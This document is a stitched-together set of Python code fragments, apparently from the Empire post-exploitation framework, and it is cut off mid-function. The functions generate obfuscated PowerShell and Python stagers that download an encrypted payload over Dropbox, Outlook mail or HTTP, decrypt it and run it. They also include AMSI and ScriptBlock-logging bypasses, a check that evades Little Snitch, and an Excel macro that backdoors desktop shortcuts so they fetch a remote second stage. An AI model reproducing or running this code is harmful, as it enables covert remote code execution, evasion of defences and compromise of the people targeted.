stager += helpers.randomize_capitalization( '$mapi = $' + helpers.generate_random_script_var_name("GPF") + '.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF") + '.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $' + helpers.generate_random_script_var_name("GPF") + '.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder) stager += helpers.randomize_capitalization("$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder) launcherBase += "if urllib2.getproxies():\n" launcherBase += " o = urllib2.build_opener();\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" launcherBase += " urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
def generate(self): # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] targetEXE = self.options['TargetEXEs']['Value'] xlsOut = self.options['XlsOutFile']['Value'] XmlPath = self.options['XmlUrl']['Value'] XmlOut = self.options['XmlOutFile']['Value'] #catching common ways date is incorrectly entered killDate = self.options['KillDate']['Value'].replace('\\','/').replace(' ','').split('/') if(int(killDate[2]) < 100): killDate[2] = int(killDate[2]) + 2000 targetEXE = targetEXE.split(',') targetEXE = filter(None,targetEXE) #set vars to random alphabetical / alphanumeric values shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) encKey = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16,16))) #avoiding potential escape characters in our decryption key for the second stage payload for ch in ["\"","'","`"]: if ch in encKey: encKey = encKey.replace(ch,random.choice(string.ascii_lowercase)) encIV = random.randint(1,240) # generate the launcher launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) launcher = launcher.replace("\"","'") if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: try: reader = xlrd.open_workbook(xlsOut) workBook = copy(reader) activeSheet = workBook.get_sheet(0) except (IOError, OSError): workBook = Workbook() activeSheet = workBook.add_sheet('Sheet1') #sets initial coords for writing data to inputRow = random.randint(50,70) inputCol = random.randint(40,60) #build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro macro = "Sub Auto_Close()\n" activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Wscript.shell")) macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n" inputCol = inputCol + random.randint(1,4) activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Scripting.FileSystemObject")) macro += "Set "+ fsoVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n" inputCol = inputCol + random.randint(1,4) activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("desktop")) macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value))\n" macro += "For Each " + fileVar + " In " + folderVar + ".Files\n" macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n" macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value) & \"\\\" & " + fileVar + ".name)\n" inputCol = inputCol + random.randint(1,4) macro += "If(" for i, item in enumerate(targetEXE): if i: macro += (' or ') activeSheet.write(inputRow,inputCol,targetEXE[i].strip().lower()+".") macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)" inputCol = inputCol + random.randint(1,4) macro += ") Then\n" #launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. launchString1 = "hidden -nop -c \"Start(\'" launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'" launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" #part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n" launchString1 = helpers.randomize_capitalization(launchString1) launchString2 = helpers.randomize_capitalization(launchString2) launchString3 = helpers.randomize_capitalization(launchString3) launchString4 = helpers.randomize_capitalization(launchString4) launchString5 = helpers.randomize_capitalization(launchString5) launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5 activeSheet.write(inputRow,inputCol,launchString1) launch1Coords = self.coordsToCell(inputRow,inputCol) inputCol = inputCol + random.randint(1,4) activeSheet.write(inputRow,inputCol,launchStringSum) launchSumCoords = self.coordsToCell(inputRow,inputCol) inputCol = inputCol + random.randint(1,4) macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\""+ launch1Coords +"\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\""+ launchSumCoords +"\").Value" + "\n" activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization(":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")) macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value\n" inputCol = inputCol + random.randint(1,4) #macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n" macro += lnkVar + ".save\n" macro += "end if\n" macro += "end if\n" macro += "end if\n" macro += "next " + fileVar + "\n" macro += "End Sub\n" activeSheet.row(inputRow).hidden = True print helpers.color("\nWriting xls...\n", color="blue") workBook.save(xlsOut) print helpers.color("xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", color="green") #encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut ivBuf = "" for z in range(0,16): ivBuf = ivBuf + chr(encIV + z) encryptor = AES.new(unicode(encKey, "utf-8"), AES.MODE_CBC, ivBuf) launcher = unicode(launcher,"utf-8") #pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space padding = 16-(len(launcher) % 16) if padding == 0: launcher = launcher + ('\x00'*16) else: launcher = launcher + (chr(padding)*padding) cipher_text = encryptor.encrypt(launcher) cipher_text = helpers.encode_base64(ivBuf+cipher_text) #write XML to disk print helpers.color("Writing xml...\n", color="blue") fileWrite = open(XmlOut,"w") fileWrite.write("<?xml version=\"1.0\"?>\n") fileWrite.write("<main>") fileWrite.write(cipher_text) fileWrite.write("</main>\n") fileWrite.close() print helpers.color("xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green") return macro
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_stager(): no language specified!' )) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name # Get the random function name generated at install and patch the stager with the proper function name conn = self.get_db_connection() self.lock.acquire() stager = helpers.keyword_obfuscation(stager) self.lock.release() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' stagingKey = stagingKey.encode('UTF-8') for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ))
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % ( baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % ( baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % ( stagingFolder) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % ( stagingFolder) launcherBase += "if urllib2.getproxies():\n" launcherBase += " o = urllib2.build_opener();\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" launcherBase += " urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/dbx generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += 